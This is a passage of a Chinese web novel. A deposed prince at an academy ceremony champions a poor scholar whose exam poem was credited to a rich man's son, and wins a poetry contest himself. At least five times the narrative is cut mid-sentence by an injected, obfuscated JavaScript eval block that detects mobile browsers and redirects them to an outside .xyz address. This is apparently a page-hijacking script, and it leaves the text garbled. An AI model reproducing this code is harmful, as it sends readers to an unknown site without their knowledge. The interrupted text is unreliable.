马车缓缓停下,李钰随即便听到车外传来声音。 “殿下,白云书院到了。” 李钰起身走下马车,这才发现自己面前居然是一条盘桓上山的路。 压根没有看到所谓的白云书院的山门。 “这是什么情况?” 吕青有些犹豫,看了一眼不远处站着的白云书院士子,小心翼翼道:“殿下,白云书院的规矩,此地上山需要步行。” 吕青闻言,扭头看向一辆马车缓缓朝着山上驶去,神色间多了几分不解。 “为什么他能上去?” 吕青还没有来得及解释,那站在一旁的书院士子便开口道:“这马车是沧州王家的,里面坐的是鲁地文坛宿老王仲之,王老先生。” “也是我家山长亲自相邀,自然有资格乘着马车上山。” “而且山上位置有限,若不是山长亲自邀请的,那这马车自然一律不准上山。” 听到这解释,李钰看向吕青。 “你没和他说本王的身份?” 见吕青点了点头。 “说过了,但他们还是不让马车上去。” 听到这回答,李钰也是眉头轻挑,倒是有些意外起来。 “有点东西,知道了本王的身份还不让本王乘车上去。” 那士子神色淡淡。 “我白云书院诗书立世,殿下若是吃不了这苦,大可就此离去,我白云书院也不强求什么。” 李钰听到这话,笑着点了点头。 “好好好,既然如此,那本王就给你白云书院这个面子。” “今日我便亲自登山!” “但你记住,本王这礼,你白云书院今日怕是受不住。” 说完,李钰一甩衣摆,迈步朝着山上走去。 白云书院到底是真有规矩,还是这士子故意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511866|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诓骗自己。 如果是后者,他倒是要看看,这白云书院到底能不能撑得住他的脸面! 山路因为要走马车的缘故,路面还算是平整。 因此李钰走的倒是不太费劲。 只是这一路走下来,多少还是有些无聊和劳累。 等到走了一半的时候,李钰正站在那里休息,突然看到一名年轻人也徒步走了上来。 这一路走下来,李钰看到的都是马车,徒步上来的这还是第一个。 只见那人背上背着竹篓,但身上穿着是文人士子才穿的儒服,显然对方是个读书人。 只是那衣服上有不少补丁,看着清贫了些。 “阁下也是去参加大典的?” 听到询问声响起,那闷头走路的年轻人抬起头来看向李钰,神色间带着几分茫然。 “这位公子是在同我说话?” 李钰嘴角一勾。 “这周围还有别人吗?” 闻言,只见那年轻人瞬间回过神来,稍稍整理了一下自己身上的衣服,朝着李钰行了一礼。 “在下赵俭之,辽阳士子,敢问公子名讳?” “在下李钰,京城人。” 说完,李钰上下打量了一眼赵俭之。 “辽阳之地可是苦寒之地,赵兄今天能来这里可不容易,你也是受到邀请来的?” 听到这话的赵俭之笑了笑。 “在下今年考白云书院落榜,怎么可能被人邀请,今日来只是想要远观一眼,看看今年白云书院所选士子是什么样的风采。” 这次大典,只要是读书人都可以来看。 但无法近前,只能远观。 李钰大致也能够明白这群读书人的朝圣心态。 只是今天才刚刚进山门,他对白云书院的观感可算不上好。 “赵兄如果不介意,你我可以同行,或许也能进去也说不定。” 见李钰这么说,赵俭之清楚。 能进去的人哪个不是乘着马车上山的,像李钰这样走上来的,连山门怕是都进不去。 但赵俭之却没有点破,只是笑着点了点头。 “走山路确实是枯燥了些,李兄如果不嫌弃,我倒是可以随行。” 第25章 有眼无珠 李钰没有点明自己的身份,而赵俭之也没有追问。 这一路走下来,李钰和赵俭之两人相谈甚欢。 从朝政民生,再到边关局势,李钰发现眼前的赵俭之竟然都能够有自己独到的见解。 再结合上这人年轻的样子,那更是难得。 如此俊才,居然没有参加科举考试,实在是让人想不明白。 “赵兄也算是见识了得,就没想着科举入朝,为国做事?” 然而,听到这话的赵俭之却是苦笑一声。 “我又怎么可能不想着用自己所学报效朝廷?但几次科举结果都不尽如意。” “原本想着科举无望,就来白云书院碰碰运气。” “如果能够进入书院,那就有机会被大官看中,运气好点甚至科举都不需要参加,就可以举荐入朝。” “但我才疏学浅,这一次连白云书院都没有考进去。” “可见我这学识还是不够啊。” 大乾有两套官员选拔的标准,一种就是科举考试,连过三关之后,可入朝为官。 至于另外一套标准,那就是高官举荐。 但这些年朝中官员大部分都是举荐入朝,像是赵俭之这样的士子,如果没有人举荐的话,那就只能凭借科考了。 但听了赵俭之的描述之后,李钰总觉得哪里有些不太对劲。 等到上了山顶,李钰这才看到了白云书院的山门。 “这山门倒是气派的很。” 赵俭之闻言,解释道:“此处山门是先皇下令敕造的。” “当年先皇在世时,白云书院出了五位尚书,陛下这才下令敕造此门,并且放大了规制。” 李钰听到这个解释,也是点了点头。 从这山门就能看出来,当年白云书院确实是权势鼎盛。 “敢问两位可有请帖?” 山门外,两名士子将李钰和赵俭之拦下。 那赵俭之听到问询,神色间带着几分尴尬,拱手道:“不好意思,在下并无请帖,今天来也是想在山门外的高台之上观礼。” “既然如此,那两位就从左边小门登台吧。” 李钰朝着那士子所指的方向看去,只见不远处确实是有一道小门,但这门小到需要躬着身子进去。 眉头一皱,李钰随手将自己亲王的牌子丢了过去。 “本王是奉旨而来,你确定要本王走那个小门?” 听到李钰自称本王,无论是那士子还是一旁的赵俭之,全都诧异的看先李钰。 “幽王殿下?” 那士子看了一眼腰牌,立马反应过来。 看着李钰的眼中满是异色。 “您怎么走上来了?” 虽然说李钰现在没有了太子的身份,只是亲王,但到底是皇子,无论怎么说,都不应该走上来才对。 “白云书院有规矩,本王自当遵守了。” “怎么?本王能让马车上来?” 听到李钰这声询问,那两名士子还算反应的快,当即摇了摇头。 “殿下误会了,我们并没有这个意思。” “大典就要开始了,还请殿下快点入内。” 说着,就把腰牌递给了李钰。 他们虽然不知道具体什么原因,但大概是山下的人在故意为难李钰。 将那腰牌接了过来,李钰淡淡道:“这位赵兄是本王的朋友,不知道可否随本王一同入内?” 看着李钰那眼神,明显是拒绝了就要找事儿的样子,为了避免大典出现意外,两人也只好点了点头。 “既然是殿下的朋友,那自然是可以入内。” “多谢。” 李钰微微点了点头,随后朝着赵俭之看了一眼。 “走吧!” 回过神来的赵俭之,急忙跟在李钰的身后朝着山门内走了进去。 等到远离之后,赵俭之这才轻声问道:“你真是幽王?” “怎么?这倒霉亲王封号还有人冒充?” 赵俭之听到这话,也是不由得咂舌起来。 “这路上走来,学生多有冒失,还望殿下见谅。” “你似乎很热衷于认错啊?” 李钰笑了笑,随后摆手道:“不知者无罪,再说我这身份,没有人笑话就不错了。” “你可不要忘了,本王可是废太子,当今朝堂上没多少地位。” 说着,李钰双臂一展。 “你看,我这不也是走上山来的?” “你我并无区别。” 听到李钰这么说,赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511867|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俭之也是愣了愣,突然觉得这幽王似乎和传闻中的不太一样。 带着赵俭之来到大典会场。 此时这地方已经是人山人海。 高台之上也是坐了不少人。 但毕竟是会场核心所在,能够来到这里的都是达官显贵。 一般有人进来了,多少都会关注一下。 但是当看到李钰走进来的时候,现场的气氛都为之一凝。 他怎么来了? 乾帝的旨意是给书院的,外人并不知晓。 此时高台上的六皇子李泰,周围就围着不少达官显贵,见李钰走了进来,也是站起身朝着李钰遥遥拱手一礼。 “大哥,您这是踩着点来啊,我还以为你不来了呢。” 看似问候,实则是在说李钰托大,故意晚来。 不少达官显贵看着这位已经失势的前太子,现任幽王。 眼中也满是讥讽。 都落水的凤凰不如鸡了,居然还敢摆架子晚来,也不知道是谁给的勇气。 李钰也听得出来李泰话中的意思,淡淡一笑。 “本王又不会飞,这白云书院山路崎岖,本王一步一步走来自然费时间。” “难道六弟你不是走上来的?” 此话一出,台上中间坐着的老者不由得眉头一皱。 虽然说白云书院是有马车不能登山的规矩,但今天是授徒大典,上山的人不少,且大部分都是达官显贵,文坛宿老。 因此只要是能来山上的,马车是一律可以登山的。 李钰虽然是废太子,但还有亲王尊位在身,就算是在朝堂上地位再低,那也是皇子。 其他人都能乘车上山,唯独李钰是走上来的。 这要是传出去,岂不是说他们白云书院欺软怕硬,**皇子? “殿下既然是走上来的,那倒是显得一片诚心,我白云书院自然没有怠慢的道理,还请殿下快快入座吧。” 那老者说完,立马有士子极有眼色的将李钰的椅子往前挪了挪。 这位置都是提前安排好的,李钰的座位不能说靠后,但绝对算不上前,根本不是亲王该有的位置。 白云书院自知理亏,也只能先把李钰的位置移到前面来,好减轻几分李钰心中的怒气。 第26章 有猫腻 看着白云书院这小动作,李钰也是心中一笑。 这白云书院要是硬气一点,咬死他书院山上确实是有这么个规矩,李钰就应该遵守。 他还能高看书院一眼。 但现在这小动作,着实是落了下乘。 不想得罪自己这个皇子,又想用这种小恩小惠来让自己息怒。 可以说是像极了小丑。 看向那高台上吹捧书院的宾客,李钰眼中多了几分轻视。 施施然走上高台,带着赵俭之坐到了自己的位置上。 而看着这一幕的秦王李泰,脸上神色虽然没有变化,但眼底依旧泛起些许寒意。 见小插曲暂时结束,那高台上的老者这才站起身来,来到台前。 “诸位宾客!老夫陆文秀,乃白云书院第三任山长。” “如今得圣贤庇佑,我白云书院大考结果已出,共有十位士子入我山门。” “今日开授徒大典,广邀各地贤达观礼,使我白云书院蓬荜生辉!” “老夫感激不尽!” 说着,陆文秀就朝着在场的宾客行了一礼。 随后站起身来,朝着台下高喊一声。 “邀请士子登台!” 话音落下,高台下就有一队身着儒袍的士子开始登台。 细细数一下,恰好和陆文秀所说的十位士子数字相同。 不出意外这位应该就是白云书院今年选定的十位士子了。 “看着倒是像模像样,只是不知道才学到底怎么样。” 嘀咕了一句之后,李钰便扭头看向身边的赵俭之。 只见那赵俭之此刻目光死死盯着台上走来的十位士子,眼神开始变换不定。 从愤怒再到绝望。 甚至那双手攥紧,还有青筋暴起。 这不同寻常的一幕,让李钰有些好奇。 这是看到什么了,居然能气成这个样子? “这是看到仇人了?” 听到这话,赵俭之头都不回道:“不算是仇人,只是有些意外罢了。” 李钰听到这话,却是不太相信。 目光扫了一眼台上的人,随后问道:“是不是有不对劲的?” 只见那赵俭之犹豫了一下。 “殿下还是不问的好,知道多了对您没有好处。” 一听这话,李钰却是笑了。 “笑话,京城还有我不敢干的事儿?” “你尽管说!” 此刻的赵俭之犹豫了一下,才解释道:“殿下,台上被选中的人中,有学生认识的人。” “就是那人。” 顺着赵俭之所指的方向看去,李钰这才注意到了赵俭之说的人。 “这人名叫董明,是学生的同乡。” “是辽阳巨富董家之子。” “此人不学无术,终日流连青楼,就连那秀才身份也是家中用了银子买来的。” “此种货色都能考入书院,学生不明白!” 赵俭之说到现在,语气中都带着几分委屈。 见状,李钰开口道:“如果你说的是真的,那这选拔确实是有问题。” 不等赵俭之解释,那台上的陆文秀就再次开口。 “今年不同往次,我白云书院自从成立以来,便以学识为准绳,录取学生多为有才之人。” “但录取士子,常年以京畿江南士子为主,北方士子虽有,但不算多。” “但今年不同,我们白云书院招录了一名来自辽阳的士子!” “诸位也知道的,辽阳地贫,文坛凋零,能出此一子,百年难遇!” 只见那陆文秀扭头看向选定的士子,朝着董明招了招手。 “董明,你上前来。” 随着陆文秀话音落下,所有人的目光都集中在了走出来的董明身上。 李钰看了一眼赵俭之。 “还真让你说对了,此人真的叫董明。” 赵俭之无奈。 “殿下,学生说的都是真的。” 眼见赵俭之有些着急,李钰摆了摆手。 “不急,先看看再说。” 无奈之下,赵俭之只能闭上嘴巴,心中也有些后悔和李钰说这件事儿。 白云书院是什么地方? 能够将一个不学无术之人安排进入书院,且不说董家花了多少钱,办这事儿的人也不会简单了。 而且这事儿涉及白云书院的名声,以白云书院的底蕴,就算是知道了也不会让人说出来。 李钰一个废太子,虽然有亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511868|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王位在身,但未必敢得罪白云书院。 此时高台之上,董明站在山长陆文秀的身边,脸上满是谦卑之色。 “董明出身辽阳苦寒之地,但学识却并不浅薄。” “此番入学考试中,董明所做题卷精彩,但最吸引老夫的还是此子所做的一首诗。” “此诗大气磅礴,直抒胸臆,实乃老夫这么多年来都少见的诗作。” “但书院规矩,入学成功者,卷面答题不会昭示,但如此佳作,老夫实在是不想让其明珠蒙尘。” “今日老夫当着诸位宾客的面,也破例一回。” “将这首诗给诸位展示一番!” “也算是为我书院此番盛典诗会开个好头!” “另外,今日诗会,夺魁者,可入我书院书楼三日,另外还有老夫亲笔所书字帖一份。” 听到这个条件,在场之人无不面露惊讶之色。 喧哗间,李钰却有些不解起来。 “这书楼是什么地方?还有这老头的字帖很值钱?” 赵俭之闻言,一时间有些无语。 但李钰询问,他也不能不解释。 “这书院书楼藏书当世一绝,就连皇家的书楼也不能相比,只要这里面没有点书册,那在外面也找不到。” “能进楼观书,便是书院趁人此人有经天纬地之才,是天下各大势力都争相夺取的人才。” “书院这书楼规矩已有百年时间,但进入三日的人,屈指可数。” 李钰咂了咂舌。 听着倒是挺厉害的,但对于李钰来说却没有多大的吸引力。 又不是有绝世武功,练成之后就能天下无敌。 见李钰一脸不以为意的样子,赵俭之顿了顿,接着说道:“至于山长陆文秀亲笔所书的字帖,此物更是难得。” “陆文秀成名已有三十年,一手书法冠绝天下。” “他已经有十年时间未曾流出一副字了,这字帖不仅仅难得,更因为他是白云书院山长。” “手握他的字帖,那就是手握白云书院的关系,这天下有的是人想要巴结。” 听到这番解释,李钰这才点了点头。 “说来说去都是名望兜底,若是身败名裂了,岂不是说一文不值?” 第27章 本王给你出头 李钰说的轻松简单,但赵俭之却是苦笑一声摇了摇头。 “殿下,陆文秀可是白云书院的山长,文坛泰斗,真是还做过几年帝师。” “当今圣上也曾在其名下学习过一段时间。” “以他的地位,怎么可能身败名裂?” “就教出这么个玩意儿来,他还挺自豪?” 赵俭之听到这话,瞬间就是一愣。 “殿下是在说谁?” 李钰闻言,轻咳一声,转头就将这话题岔了过去。 “先听听这董明的诗作到底怎么样吧。” 赵俭之疑惑的看了一眼李钰,但也不好多问,只能点了点头看向台上的董明。 此时高台之上。 两名儒生已经在陆文秀的指挥下,将一卷字帖缓缓展开。 而董明的诗作,也是终于呈现在了众人面前。 “《塞上曲》?” “朔风卷地裂旌旗,万仞冰崖星斗垂。” 只是开头第一句,就让在场的人叫了一声好。 便是李钰也有些意外起来。 这开首第一句,确实是有点意思。 耐着性子往下看去,李钰自己也低声读了出来。 “铁甲凝霜弓弦断,孤城遥望雁声悲。” “玉门雪涌昆仑折,瀚海尘昏白日移。” “愿借天兵三百万,尽收寒骨作山陂。” 一首诗结束,李钰微微颔首。 “严守韵部,对仗工整,这诗作有点意思。” 说着,李钰扭头看向身边的赵俭之。 “这诗作还可以,似乎此人并不是你说的这么不堪。” 哪料,此刻赵俭之面色霜寒,那眼神似乎恨不得冲上去将董明活活撕了。 只是一瞬间,李钰就意识到了不对。 “这诗作有问题?” 赵俭之一言不发,只是紧咬牙关,直至一丝鲜血从嘴角流出,李钰顿时眉头一皱。 这人气性这么大? 但下一秒,赵俭之那压抑着怒火的声音就随之响起。 “这首诗,是学生所做!” “什么?” 李钰诧异的看着赵俭之,倒是没想到自己随意结交的人,居然还是个人才。 此时此刻,李钰并没有怀疑赵俭之的话。 这是什么地方? 他先前说这董明不学无术,他尚且可以理解为这是赵俭之嫉妒之言。 但这诗作说成是自己做的,那就是涉及己身了。 他李钰不怕白云书院,但赵俭之可不一定。 这种场合说出这种话来,这已经不是大不大胆的问题了,而是这赵俭之可能真被人黑了! “赵俭之,这事儿可不兴开玩笑啊。” 虽然说李钰是在问询,但语气中的欢快还是难以掩饰。 赵俭之头都不回的死死盯着台上。 “学生不敢撒谎,若有撒谎,天打五雷轰!” “这诗作绝对是学生的作品!” “就是学生在考试的时候,写上去的!” 见赵俭之说的言之凿凿,李钰嘴角一扬。 “有点意思,既然你这么说了,那本王今天就替你讨个说法!” 赵俭之闻言,猛地回头看向李钰,神色诧异道:“殿下要怎么做?” 李钰微微一笑。 “你放心,今天不仅仅是你,便是本王,也有人会找麻烦的。” 话音刚落,那高台上就响起一道声音。 “大哥,此诗绝佳,但六弟看你的样子,似乎有些想法,不知可否说出来,让我等也听一听?” 此话一出,瞬间所有人的目光都落在了李钰的身上。 却见李钰神色平淡,嘴角还挂着几分笑意,似有不屑。 而李钰听到这话之后,却是笑看李泰。 “六弟,你这眼睛倒是尖的很,居然还能看出大哥有想法。” “进来之后没看诗,光看大哥了是吧?” 此时围观的众人也是满脸好奇。 李钰好歹也是前太子,如今被罢黜变成了幽王,地位可以说是一落千丈。 而李泰身为皇帝最宠爱的皇子,现如今地位自然是要高于李钰的。 见兄弟两人针锋相对,不少人都面露吃瓜的神色。 反观被李钰怼了一句的李泰,虽然脸上依旧挂着笑容,但眼底已经浮现出冷意。 “大哥初次参加这种盛会,六弟自然是要照拂一二,倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“但似乎想要巴结山长的人,并不想听真话。” 陆文秀脸色一沉。 “殿下如果说的真的在理,老夫就自认有眼无珠。” “但如果殿下说不出个所以然来,那今日必须给我白云书院一个交代!” 听到这话的李钰笑着点了点头。 “既然如此,那本王就说上一说。” 第28章 本王给你个面子 “既然山长虚心求教,那本王就说上一说。” 对于陆文秀这种钓名沽誉之人,李钰一直都是看不上的。 一时辉煌,就整天想着吃老本。 占尽资源却不干事儿,说到底只是个学阀而已。 只见那李钰站起身来,缓步来到那诗作面前。 “这诗作粗看是不错,但仔细琢磨一下就可以发现问题。” “【星斗垂】和【白日移】出现在同一首诗内,时间模糊,有意象堆彻,逻辑混乱的嫌疑。” “如果将【白日移】,改为【冻日沉】,统一一下,就有寒冬长夜过度的感觉。” 行家一出手,就知有没有。 当李钰说出这诗作第一个问题的时候,不少人就下意识的开始带入进去。 突然发现,这诗作确实是顺畅了不少。 秦王李泰此刻也是细细琢磨了一下,脸色稍稍变得有些难看起来。 说完这句,李钰顿了顿,接着道:“这诗作还有一点极其明显的问题,那就是堆彻词藻,导致用词重复。” “【朔风】以及【瀚海尘昏】与【雪】均描写天气,略显冗余。” “如果用【瀚海沙飞】替代【瀚海尘昏】,突出风沙,而非尘雾,一可避免和雪涌重复,二则是更加契合边塞风光。” 说着,李钰扭头看向神色有些纠结的陆文秀。 “不知道山长觉得本王这几个点说的对不对?” “亦或者说,您如果不满意,也可以让您看中的高徒董明自己来改一改。” 听到李钰这一番话,众人也是神色各异。 他们不是不想反驳李钰,只是因为此刻他们根本不知道如何反驳。 就李钰刚刚挑出来的这些问题,都是字句间的细节,且按照李钰说改完之后,确实是要比现在的强不少。 即便是这首诗真正的作者,赵俭之这时候也是细细品味李钰的点评之处。 心中对李钰升起不小的敬意。 这幽王殿下当真是才学无双啊,只是小小几处改动,自己这诗作的味道就大不一样了。 反观陆文秀,这时候也不知道如何反驳。 李泰眼瞅着李钰在台上大放异彩,心中嫉妒不已,但更多的还是愤恨。 自己费尽心思让李钰来这里是丢脸来了,他倒好直接将在场之人怼的哑口无言。 实在是让人生气! 你要是不丢脸,我怎么在父皇面前交代? 想到这里,李泰便朝着一侧看了一眼。 那坐在不远处的官员见状,也是瞬间心领神会。 他知道,秦王不想再看幽王露脸了。 于是当即站了出来。 “幽王殿下评比的倒是头头是道,但终究是评价他人诗作,你若是也有本事做出一首比这首还要好的诗作,或许才能让大家认可你评比的东西,否则也不过是哗众取宠罢了。” 扭头看向说话之人,李钰笑眯眯道:“阁下是?” “下官礼部郎中崔易学。” 听到对方来历,李钰瞬间做出恍然大悟状。 “哦,原来是崔大人啊,不知道崔大人这一番话,是自己的意思,还是想要为白云书院开脱?” “本官自己的意思罢了。” 崔易学淡淡说道。 “这么说,本王今日得作诗合格之后,才有资格评比这首诗?” 崔易学微微一笑。 “总得让人心服口服不是?” 崔易学神色自信。 身为京官,谁不知道李钰这个前太子先前从未做过一首诗? 这样的人即便是有些底蕴在,但真要自己开始作诗了,那可不一定有评比诗作厉害。 李钰却是不说话,而是扭头看向陆文秀。 只见那陆文秀此刻也点了点头。 “幽王殿下,此举也并非是针对你,我书院素来有大典诗会的规矩,今日本就有作诗的环节。” “不仅仅是殿下,只要是在场的人,基本上都要作诗,且题材也不会做出限制。” 听到这话,李钰似笑非笑道:“山长看来还是个要脸的人。” 知道是在为难自己,李钰就想看看陆文秀的态度。 虽然说没有阻止,但好歹找了个借口。 陆文秀自然也听出来了李钰这话中的意思,老脸有些挂不住,甚至眼神都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511870|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始闪躲起来。 李钰见状笑了笑。 “罢了,既然你等愿意看,那本王就赏你们这个脸。” “不过想要本王作诗,今日得有个条件才行。” 陆文秀眉头一皱,有心拒绝但自己刚刚话已经说出口了,而且今天这事儿摆不平的话,对白云书院的名声也不好。 稍作犹豫道:“殿下有什么条件?” 李钰指了指那卷轴上的诗作,开口道:“今日我也作一首边塞诗,如果能够比他强,那书院需要将这次科考的试卷公布出来。” “让这天下人看看,你书院到底是如何评比学生的。” “哗!” 李钰此话一出,在场的人顿时一片哗然。 李钰这话的意思,显然是再说书院评比学生不太公平! 这天下,还有人敢质疑书院? 似笑非笑的看着脸色难看的陆文秀,李钰开口道:“怎么?山长不敢?” “有何不敢?” 陆文秀怒声说了一句。 此时此刻,他已经被李钰架起来了。 先是说自己选出来的诗作不行,现在又怀疑自己书院评选士子不公平。 今天如果他不作出解释,当着这么多人的面,岂不是要丢尽书院的脸面? 白云书院成立至今,还从未有过人敢质疑书院的! 李钰是第一个! 而他只希望这是最后一个! 见陆文秀答应下来,李钰哈哈大笑一声。 “山长痛快!” “既然如此,那本王今日就给你一个面子,作诗一首!” “笔墨纸砚拿来!” 随着李钰大喊一声,陆文秀也是急忙摆了摆手。 立马有士子抬着桌案,手捧笔墨纸砚走了上来,整齐摆放在李钰面前。 看着这一幕,秦王李泰不由得有些嫉妒。 就刚刚李钰那动作言语,还真有几分洒脱之意。 “倒是让他开始长脸了。” “哼!本王倒是要看看,你有没有这个本事在白云书院大放光彩!” “若是丢人现眼,本王定要你这一次翻不了身!” 第29章 诗绝天下 李钰此刻提笔沾墨。 笔锋悬停在纸算张之上,一动不动。 其实诗不难作,尤其是边塞诗。 随便一首都远胜眼前的诗作了。 就比如说《出塞》这首,足可冠绝大乾所有的出塞诗了,但这东西不能随便拿来用,还要修改修改才行。 譬如说大乾之前确实是有秦汉两朝,但却没有阴山一说。 飞将军李广也没有这个人。 稍作思索之后,李钰这才开始落笔。 “秦时明月汉时关,千里长征人未还。” “但使卢城铁骑在,不教戎马度天山。” 将那最后一笔落下收笔,李钰便将毛笔放在一边。 陆文秀见状,脚步有些急切的走上前去。 只是一眼,就愣在了原地。 众人见状,也是有些奇怪,对视一眼后,朝着李钰所写的诗作走了过去。 “是七言律诗?” “好字啊!丰腴雄浑,结体宽博而气势恢宏,骨力遒劲而气概凛然!当世还未曾见过如此字体!” “何止!不仅仅是字,就连这诗作也是极佳!” “短短四句诗,无一闲笔,无一生字!这首七言绝句,足可力压当世之作了!” 围上来的人不吝言辞夸赞,就好像看到了什么稀世珍宝了一扬,拥挤着不肯让开,只求多看这诗作一眼。 毕竟在他们看来,无论是书法还是诗作,都是他们近几十年间都少见的珍品。 谁能想到,像李钰这种先前文学不显的人,到底是如何做出这种诗来的? 李钰却是丝毫不理会众人的反应,只是目光淡淡的看着陆文秀。 “山长,本王这诗作如何啊?” ‘咕咚~’ 吞咽了一下口水,陆文秀只能硬着头皮说道:“确实是上佳之作。” “卢城铁骑当年天山一战全军覆没,我大乾也痛失天山一线,让胡人再无阻碍,长驱直下。” “殿下这是在讥讽我大乾再无良将啊?” 听到陆文秀这么说,李钰嗤笑一声。 “山长这是在说本王攻讦朝政?” “你为什么要说的这么遮遮掩掩,本王就是这么个意思。” 见李钰大大方方承认下来,陆文秀也是有些诧异。 这幽王疯了? 真不是当众说皇上的不是? 哪料李钰丝毫不慌。 “做了就要做好被说的准备,难道本王不写,世人就不知道当年天山一战了?” “卢城铁骑乃是我大乾精锐,十几年前那一战被朝堂昏庸之辈拖累,全军覆没,致使胡人攻下天山,一路南下。” “我朝成国公拼尽全力,散尽家财打造虎贲营,原本能再现当年卢城铁骑马踏天山的壮举,却再次被朝廷拖累,致使含恨而亡,虎贲营也不复往日。” “本王可惜一下还有错了?” “难不成指望你们这群只知道**,溜须拍马的货色,去抵挡胡人,拿回天山?” 被怼了一句的陆文秀脸色涨红。 他实在是没想到,自己只是说了一句话,李钰这里居然有十句等着自己。 且句句让自己无法反驳。 围观的众人这时候也是神色各异,不知道该说什么才好。 李钰见陆文秀也不说话,接着道:“本王现在就一个问题,这诗作比那董明的如何?” 此时此刻,所有人都不敢说话。 他们知道,李钰这诗可以说是碾压董明的诗作了。 但他们不敢说这话,只能齐齐看向陆文秀。 只见那陆文秀神色微微一怔,咬咬牙道:“幽王殿下的诗作更胜一筹。” “承认了就好。” 李钰冷笑一声。 “现在本王可以要求你书院将这次选定之人的试卷公示,应该没问题了吧?” 陆文秀僵硬的点了点头。 “既然如此,那就公示吧?” 陆文秀沉默片刻,扭头看向身后。 “文德,去将这次选定十人的试卷都调出来!” 书院教**胡文德听到这话之后,却是有些犹豫起来。 陆文秀见状,顿时眉头一皱。 “怎么?有问题?” 只见那胡文德听到这话,连忙摇了摇头,但眼神中还是带着几分迟疑。 见陆文秀脸色发生变化,胡文德最终还是扭头去找试卷。 此时此刻,李钰看向台上的董明,眼神中似笑非笑的盯着对方。 “董明,本王有些好奇。” “今日评比诗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511871|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作,这诗是你做的,为何从头到尾你一句话都不说?” 被李钰问了一句,那董明神色紧张的看向陆文秀,眼神中尽是恐惧。 他哪里知道今天会是这个样子? 当时家中只是说花了大力气让自己进入书院,至于这诗作为什么是自己的,他也不清楚。 不知道,自然也就不敢说话。 陆文秀见状,也是眉头紧皱。 此时他也发现了不对劲的地方。 至于哪里他也说不上来。 就在这时候,胡文德带着几名教**匆匆赶来,手中还拿着这次的试卷。 陆文秀示意他们将其打开示众。 胡文德有些犹豫,正想着怎么糊弄过去的时候,陆文秀却是有些生气。 怒气冲冲的上前,亲自开始查验。 甚至连最上面的几份试卷都没有看,而是直接将董明的试卷拿了出来。 这一次考试,他最喜欢的便是董明这一首诗。 虽然不是第一名,但也足以进入前十了。 胡文德见状,脸色骤变。 “山长!” 想要阻止,却见那陆文秀已经将董明的试卷打开了。 只是一瞬,陆文秀便愣在了原地。 “这……董明的试卷呢?” 陆文秀手中的试卷也有一首诗,但却并不是今天展示的那一首。 可以说这诗作烂的他都不想去看。 李钰见陆文秀这反应,也是不慌不忙凑到跟前,只是瞥了一眼,便发出一声轻笑。 “山长,你拿的确定是董明的试卷?这诗作也对不上啊。” 诗作对不上? 不少人都齐刷刷的看向陆文秀,只见那陆文秀怒火中烧的看向胡文德。 “文德!考核一事是你主持,这究竟是怎么回事儿?” “为何董明的诗作对不上?” 只见那胡文德扑通一声跪倒在地上,战战兢兢说不出话来。 李钰见状,轻笑道:“还是本王来说说吧。” “董明诗作是顶替他人的,山长看重的这首诗,其实另有他人。” “这人便是辽阳士子,赵俭之。” 